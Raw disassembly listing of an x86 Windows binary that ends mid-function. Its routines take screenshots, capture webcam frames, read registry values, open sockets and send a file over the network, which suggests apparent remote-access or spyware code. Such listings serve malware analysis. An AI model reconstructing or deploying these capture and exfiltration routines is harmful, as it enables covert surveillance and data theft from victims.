sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4152E0
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_4361C4
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_4152E0: ; CODE XREF: ___:004152C0j
cmp byte ptr [ebp-98h], 0
jz short loc_415300
lea eax, [ebp-98h]
push eax
call sub_41B779
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415300
mov [ebp-8], eax
loc_415300: ; CODE XREF: ___:004152E7j
; ___:004152FBj
and dword ptr [ebp+8], 0
mov esi, offset dword_4CEB9C
loc_415309: ; CODE XREF: ___:00415361j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415363
cmp byte ptr [esi], 0
jz short loc_415352
cmp byte ptr [ebp-98h], 0
jz short loc_415338
cmp dword ptr [ebp-4], 0
jnz short loc_415338
lea eax, [ebp-98h]
push eax
push esi
call sub_418086
pop ecx
test eax, eax
pop ecx
jz short loc_415352
loc_415338: ; CODE XREF: ___:0041531Dj
; ___:00415323j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_415352: ; CODE XREF: ___:00415314j
; ___:00415336j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D2B9C
jl short loc_415309
loc_415363: ; CODE XREF: ___:0041530Fj
lea eax, [ebp-31Ch]
push offset dword_4361A8
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41539D
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_41539D: ; CODE XREF: ___:0041537Bj
lea eax, [ebp-31Ch]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
dd 2AAC47E8h, 5E5F9002h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CAF60
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F0
push 8
push edi
call dword_4CAF7C
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CAF7C
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CAF7C
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541E
push 18h
push edi
call dword_4CAF7C
mov ebx, 100h
jmp short loc_415420
; ---------------------------------------------------------------------------
loc_41541E: ; CODE XREF: sub_4153BC+50j
xor ebx, ebx
loc_415420: ; CODE XREF: sub_4153BC+60j
push edi
call dword_4CAFC0
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D5
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CAFB8
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E0
push eax
push [ebp+var_4]
call dword_4CAE44
cmp eax, esi
jz loc_4155E0
cmp eax, 0FFFFFFFFh
jz loc_4155E0
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CAFBC
test eax, eax
jz loc_4155E0
cmp ebx, esi
jz short loc_4154DD
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CAE98
mov ebx, eax
loc_4154DD: ; CODE XREF: sub_4153BC+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
nop
call near ptr 26E0921h
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C0
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call near ptr 26D0000h
nop
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 26D0000h
cmp ebx, esi
jz short loc_4155A2
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call near ptr 26D0000h
nop
loc_4155A2: ; CODE XREF: sub_4153BC+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
nop
call near ptr 26D0000h
push [ebp+arg_0]
nop
call near ptr 26408F3h
push 1
pop esi
loc_4155C0: ; CODE XREF: sub_4153BC+1A2j
push [ebp+var_1C]
call dword_4CAED0
push [ebp+var_4]
call dword_4CAE30
mov edi, [ebp+var_20]
loc_4155D5: ; CODE XREF: sub_4153BC+70j
push edi
call dword_4CAE30
mov eax, esi
jmp short loc_4155F2
; ---------------------------------------------------------------------------
loc_4155E0: ; CODE XREF: sub_4153BC+C7j
; sub_4153BC+D9j ...
push edi
call dword_4CAE30
push [ebp+var_4]
call dword_4CAE30
loc_4155F0: ; CODE XREF: sub_4153BC+23j
xor eax, eax
loc_4155F2: ; CODE XREF: sub_4153BC+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D2BA0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CAEC4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415635
mov eax, esi
jmp loc_4157EB
; ---------------------------------------------------------------------------
loc_415635: ; CODE XREF: sub_4155F7+35j
push edi
call dword_4CAF14
test eax, eax
jz short loc_415652
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CAFD0
jmp short loc_415654
; ---------------------------------------------------------------------------
loc_415652: ; CODE XREF: sub_4155F7+47j
xor eax, eax
loc_415654: ; CODE XREF: sub_4155F7+59j
cmp eax, ebx
jnz short loc_41565F
loc_415658: ; CODE XREF: sub_4155F7+88j
; sub_4155F7+BCj
mov ebx, esi
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_41565F: ; CODE XREF: sub_4155F7+5Fj
push edi
call dword_4CAF14
test eax, eax
jz short loc_41567C
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CAFD0
loc_41567C: ; CODE XREF: sub_4155F7+71j
cmp [ebp+var_20], ebx
jz short loc_415658
push edi
call dword_4CAF14
test eax, eax
mov edi, 42Ch
jz short loc_4156A2
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CAFD0
mov [ebp+arg_4], eax
jmp short loc_4156A5
; ---------------------------------------------------------------------------
loc_4156A2: ; CODE XREF: sub_4155F7+98j
mov [ebp+arg_4], ebx
loc_4156A5: ; CODE XREF: sub_4155F7+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415658
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CC
push 1
pop ebx
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4155F7+CBj
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4156E9
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_4156E9: ; CODE XREF: sub_4155F7+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C310
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415704
mov ecx, 280h
loc_415704: ; CODE XREF: sub_4155F7+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415710
mov eax, 1E0h
loc_415710: ; CODE XREF: sub_4155F7+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CAF14
test eax, eax
mov edi, 42Dh
jz short loc_41575A
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_41575A: ; CODE XREF: sub_4155F7+153j
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_415777
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CAFD0
loc_415777: ; CODE XREF: sub_4155F7+16Ej
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_415796
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CAFD0
loc_415796: ; CODE XREF: sub_4155F7+18Bj
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4157B3
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_4157B3: ; CODE XREF: sub_4155F7+1AAj
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4157E0
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CAFD0
loc_4157E0: ; CODE XREF: sub_4155F7+63j
; sub_4155F7+D0j ...
push [ebp+var_4]
call dword_4CB024
mov eax, ebx
loc_4157EB: ; CODE XREF: sub_4155F7+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D2BA0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CAEC4
mov edi, eax
cmp edi, ebx
jnz short loc_41582E
mov eax, esi
jmp loc_415A2A
; ---------------------------------------------------------------------------
loc_41582E: ; CODE XREF: sub_4157F0+35j
push edi
call dword_4CAF14
test eax, eax
jz short loc_41584B
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CAFD0
jmp short loc_41584D
; ---------------------------------------------------------------------------
loc_41584B: ; CODE XREF: sub_4157F0+47j
xor eax, eax
loc_41584D: ; CODE XREF: sub_4157F0+59j
cmp eax, ebx
jnz short loc_415858
loc_415851: ; CODE XREF: sub_4157F0+8Bj
; sub_4157F0+BCj
mov ebx, esi
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_415858: ; CODE XREF: sub_4157F0+5Fj
push edi
call dword_4CAF14
test eax, eax
jz short loc_415878
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CAFD0
loc_415878: ; CODE XREF: sub_4157F0+71j
cmp [ebp+var_7C], ebx
jz short loc_415851
push edi
call dword_4CAF14
test eax, eax
jz short loc_41589B
push ebx
push ebx
push 42Ch
push edi
call dword_4CAFD0
mov [ebp+arg_4], eax
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_41589B: ; CODE XREF: sub_4157F0+96j
mov [ebp+arg_4], ebx
loc_41589E: ; CODE XREF: sub_4157F0+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415851
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C5
push 1
pop ebx
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_4158C5: ; CODE XREF: sub_4157F0+CBj
push edi
call dword_4CAF14
test eax, eax
jz short loc_4158E2
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CAFD0
loc_4158E2: ; CODE XREF: sub_4157F0+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C310
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FD
mov ecx, 0A0h
loc_4158FD: ; CODE XREF: sub_4157F0+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415907
push 78h
pop eax
loc_415907: ; CODE XREF: sub_4157F0+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CAF14
test eax, eax
jz short loc_41594C
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CAFD0
loc_41594C: ; CODE XREF: sub_4157F0+14Aj
push edi
call dword_4CAF14
test eax, eax
jz short loc_415969
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CAFD0
loc_415969: ; CODE XREF: sub_4157F0+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CAF14
test eax, eax
jz short loc_4159A7
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CAFD0
loc_4159A7: ; CODE XREF: sub_4157F0+1A3j
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159C2
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CAFD0
loc_4159C2: ; CODE XREF: sub_4157F0+1C0j
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159DB
push ebx
push ebx
push 43Eh
push edi
call dword_4CAFD0
loc_4159DB: ; CODE XREF: sub_4157F0+1DBj
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159F8
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CAFD0
loc_4159F8: ; CODE XREF: sub_4157F0+1F4j
push [ebp+var_4]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CAF14
test eax, eax
jz short loc_415A21
push ebx
push ebx
push 40Bh
push edi
call dword_4CAFD0
loc_415A21: ; CODE XREF: sub_4157F0+63j
; sub_4157F0+D0j ...
push edi
call dword_4CB024
mov eax, ebx
loc_415A2A: ; CODE XREF: sub_4157F0+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4361F4, ebx
mov [ebp+var_C], 80h
jz loc_415BD0
push esi
push edi
mov eax, offset off_4361F4
mov esi, offset dword_436200
mov edi, offset dword_4373F8
loc_415A5F: ; CODE XREF: sub_415A2F+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CAFE4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CAE74
test eax, eax
jnz loc_415BB6
mov eax, [esi]
cmp eax, ebx
jz loc_415B7A
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_4293BC
push eax
call sub_41B886
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B4C2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415BB6
push eax
loc_415AD8: ; CODE XREF: sub_415A2F+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BB4F
add esp, 0Ch
test eax, eax
jz loc_415B6F
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_415B05
push [ebp+var_8]
jmp short loc_415AD8
; ---------------------------------------------------------------------------
loc_415B05: ; CODE XREF: sub_415A2F+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_415B33
lea eax, [ebp+var_70]
push offset asc_4373F4 ; "="
push eax
call sub_41C0F4
push offset asc_4373F4 ; "="
push ebx
call sub_41C0F4
add esp, 10h
jmp short loc_415B36
; ---------------------------------------------------------------------------
loc_415B33: ; CODE XREF: sub_415A2F+E4j
lea eax, [ebp+var_70]
loc_415B36: ; CODE XREF: sub_415A2F+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 18h
loc_415B6F: ; CODE XREF: sub_415A2F+B9j
push [ebp+var_8]
call sub_41B05B
pop ecx
jmp short loc_415BB6
; ---------------------------------------------------------------------------
loc_415B7A: ; CODE XREF: sub_415A2F+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 28h
loc_415BB6: ; CODE XREF: sub_415A2F+60j
; sub_415A2F+A2j ...
push [ebp+var_4]
call dword_4CAF50
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A5F
pop edi
pop esi
loc_415BD0: ; CODE XREF: sub_415A2F+19j
pop ebx
leave
retn
sub_415A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD3 proc near ; CODE XREF: ___:00416278p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CAFF4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C4F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CAF74
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CAFB4
cmp eax, esi
jnz short loc_415C34
push [ebp+arg_0]
call dword_4CAFF8
test eax, eax
jz short loc_415C4F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C34: ; CODE XREF: sub_415BD3+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CAF1C
cmp eax, esi
jnz short loc_415C53
push edi
call dword_4CB00C
loc_415C4F: ; CODE XREF: sub_415BD3+1Bj
; sub_415BD3+58j
mov eax, esi
jmp short loc_415C55
; ---------------------------------------------------------------------------
loc_415C53: ; CODE XREF: sub_415BD3+73j
mov eax, edi
loc_415C55: ; CODE XREF: sub_415BD3+7Ej
pop edi
pop esi
leave
retn
sub_415BD3 endp
; ---------------------------------------------------------------------------
byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo
dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h
dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h
dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
dd 90022AA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h
dd 59FFFF56h, 0A2AAE856h, 6A90022Ah, 0E4E89064h, 330223B0h
dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh
dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
dd 8CE89064h, 6A0223B0h, 5580E80Ah, 0C085FFFFh, 8DA37559h
dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch
dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h
dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh
dd 0A1E6E890h
; ---------------------------------------------------------------------------
sub al, [edx]
loc_415E1A: ; DATA XREF: sub_401ACD+7831o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_415E68
push offset unk_437574
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415E68: ; CODE XREF: ___:00415E5Cj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CAF74
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CAFA0
test eax, eax
jz short loc_415EA6
push offset unk_437550
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: ___:00415E9Aj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CAF18
push dword ptr [ebp-2Eh]
call dword_4CAEA4
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41AFE0
pop ecx
loc_415ED8: ; CODE XREF: ___:00415F09j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_415EEB
push 5Fh
pop eax
jmp short loc_415EEE
; ---------------------------------------------------------------------------
loc_415EEB: ; CODE XREF: ___:00415EE4j
movsx eax, al
loc_415EEE: ; CODE XREF: ___:00415EE9j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41AFE0
cmp [ebp+8], eax
pop ecx
jbe short loc_415ED8
push ebx
push edi
call dword_4CAF9C
test eax, eax
jz short loc_415F21
push offset unk_437474
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F21: ; CODE XREF: ___:00415F15j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 26E0921h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_415F4B
push offset unk_437530
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F4B: ; CODE XREF: ___:00415F3Fj
push esi
push eax
nop
call near ptr 2710A52h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AC0F
pop ecx
push eax
call dword_4CAFB4
push eax
call dword_4CAF70
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_437518
push eax
call sub_41B886
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CAF5C
test eax, eax
jg short loc_415FFB
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_437500
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
jmp loc_41611F
; ---------------------------------------------------------------------------
loc_415FFB: ; CODE XREF: ___:00415FD9j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CB008
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416034
push offset unk_4374DC
loc_416021: ; CODE XREF: ___:00415E63j
; ___:00415EA1j ...
lea eax, [ebp-3FCh]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_416122
; ---------------------------------------------------------------------------
loc_416034: ; CODE XREF: ___:0041601Aj
push edi
call dword_4CB00C
cmp [ebp+8], esi
jz loc_4160E6
mov edi, 400h
loc_416049: ; CODE XREF: ___:004160DDj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416056
mov [ebp-4], eax
loc_416056: ; CODE XREF: ___:00416051j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41B590
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
call near ptr 2740000h
nop
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
